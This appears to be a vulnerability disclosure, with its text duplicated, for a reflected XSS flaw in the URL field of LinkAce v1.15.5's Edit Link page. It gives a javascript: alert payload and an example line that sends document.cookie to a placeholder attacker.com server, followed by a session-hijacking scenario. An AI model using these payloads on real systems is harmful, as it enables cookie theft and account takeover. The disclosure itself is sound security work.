Summary
A reflected cross-site scripting (XSS) vulnerability exists in the LinkAce web application v1.15.5. This issue occurs in the "URL" field of the "Edit Link" module, where user input is not properly sanitized or encoded before being reflected in the HTML response. This allows attackers to inject and execute arbitrary JavaScript in the context of the victim’s browser, leading to potential session hijacking, data theft, and unauthorized actions.
Details
A detailed POC is attached in the pdf for your review.
LinkAce_XSS_Report.pdf
The vulnerability occurs due to improper handling of user input in the "URL" field. The application does not validate or sanitize the input, allowing an attacker to insert JavaScript payloads that are executed when the input is reflected.
Example Payload: javascript:alert(document.cookie)
PoC
Navigate to the "Edit Link" page of LinkAce. In the "URL" field, input the following payload:
javascript
Copy code
javascript:alert(document.cookie)
Click Update Link.
Observe the reflected JavaScript executing in the browser context, when going to All Links-> and clicking on the created link.
Impact
Cookie Theft and Session Hijacking
Attackers can use the document.cookie object to retrieve session cookies from the victim's browser. These cookies are often used to maintain authenticated sessions in the application.
Once stolen, these session cookies can be used to impersonate the victim, gaining unauthorized access to their account.
Example Attack Scenario:
An attacker crafts a malicious URL containing the XSS payload, such as:
javascript
Copy code
javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)The victim clicks the link and unknowingly executes the malicious payload.
The payload sends the session cookie to the attacker’s server (https://attacker.com).
The attacker then uses the stolen cookie to log in as the victim, potentially accessing sensitive data, performing actions on their behalf, or even escalating privileges if the victim is an admin.
Kwangyun Reporter
Summary
A reflected cross-site scripting (XSS) vulnerability exists in the LinkAce web application v1.15.5. This issue occurs in the "URL" field of the "Edit Link" module, where user input is not properly sanitized or encoded before being reflected in the HTML response. This allows attackers to inject and execute arbitrary JavaScript in the context of the victim’s browser, leading to potential session hijacking, data theft, and unauthorized actions.
Details
A detailed POC is attached in the pdf for your review.
LinkAce_XSS_Report.pdf
The vulnerability occurs due to improper handling of user input in the "URL" field. The application does not validate or sanitize the input, allowing an attacker to insert JavaScript payloads that are executed when the input is reflected.
Example Payload: javascript:alert(document.cookie)
PoC
Navigate to the "Edit Link" page of LinkAce. In the "URL" field, input the following payload:
javascript
Copy code
Click Update Link.
Observe the reflected JavaScript executing in the browser context, when going to All Links-> and clicking on the created link.
Impact
Cookie Theft and Session Hijacking
Attackers can use the document.cookie object to retrieve session cookies from the victim's browser. These cookies are often used to maintain authenticated sessions in the application.
Once stolen, these session cookies can be used to impersonate the victim, gaining unauthorized access to their account.
Example Attack Scenario:
An attacker crafts a malicious URL containing the XSS payload, such as:
javascript
Copy code
javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)The victim clicks the link and unknowingly executes the malicious payload.
The payload sends the session cookie to the attacker’s server (https://attacker.com).
The attacker then uses the stolen cookie to log in as the victim, potentially accessing sensitive data, performing actions on their behalf, or even escalating privileges if the victim is an admin.